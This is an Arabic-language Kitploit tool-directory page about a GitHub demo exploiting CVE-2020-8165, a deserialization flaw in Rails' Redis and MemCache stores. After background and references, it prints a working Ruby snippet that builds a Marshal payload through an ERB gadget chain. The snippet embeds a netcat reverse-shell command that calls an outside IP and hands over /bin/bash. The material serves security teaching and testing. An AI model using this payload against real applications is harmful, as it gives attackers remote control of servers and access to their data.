Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2020-8165-demo — عرض توضيحي لاستغلال CVE-2020-8165 لتنفيذ تعليمات برمجية عن بعد عبر إلغاء التسلسل في Rails باستخدام تطبيق Shouter الواقعي، وتوليد الحمولة في Ruby، وتسميم ذاكرة التخزين المؤقت لـ Redis. | Kitploit
أدوات/GitHubGitHub/danielklim/cve-2020-8165-demo
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubdanielklim/cve-2020-8165-demo

cve-2020-8165-demo

عرض توضيحي لاستغلال CVE-2020-8165 لتنفيذ تعليمات برمجية عن بعد عبر إلغاء التسلسل في Rails باستخدام تطبيق Shouter الواقعي، وتوليد الحمولة في Ruby، وتسميم ذاكرة التخزين المؤقت لـ Redis.

عرض المستودع
11منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

عرض توضيحي لـ CVE-2020-8165

عرض توضيحي آخر لـ CVE-2020-8165، لكن بتنفيذ أكثر واقعية من معظم العروض الأخرى.

الخلفية

CVE-2020-8165

توجد ثغرة إلغاء تسلسل البيانات غير الموثوقة في Rails < 5.2.4.3 و Rails < 6.0.3.1 يمكن أن تسمح للمهاجم بإلغاء تحزيم (unmarshal) الكائنات التي قدمها المستخدم في MemCacheStore و RedisCacheStore مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بعد (RCE).

المراجع

  • https://hackerone.com/reports/413388
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8165
  • https://nvd.nist.gov/vuln/detail/CVE-2020-8165
  • https://www.cvebase.com/cve/2020/8165
  • https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a/

التنفيذ

يحتوي تطبيق "Shouter" على ميزة تخزين مؤقت في نموذج Shout حيث يتم تخزين الصور الاختيارية المرفوعة مع shout:string في redis مؤقتًا ثم استرجاعها منه بدلاً من قاعدة البيانات. وبسبب استخدام الطريقة Rails.cache.fetch الضعيفة للتفاعل مع التخزين المؤقت، فإن هذا التطبيق معرض لـ CVE-2020-8165، وتوضع نتائج تنفيذ الأوامر عن بعد (RCE) في خاصية src لوسوم `` في مسار لوحة التحكم.

إنشاء حمولات RCE

المقتطف التالي سينشئ الحمولة التي تحتاج إرسالها باستخدام exploit.py. هناك بعض التفاصيل الدقيقة في خطوة إجراء التسلسل (serialization) التي يجب حلها لتنفيذ الاستغلال بالكامل بلغة Python. لذا، فإن Marshal.dump في Ruby ضروري لإنشاء الحمولة الدقيقة (حاليًا).

root@kitploit:~
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload
تنزيل الأداة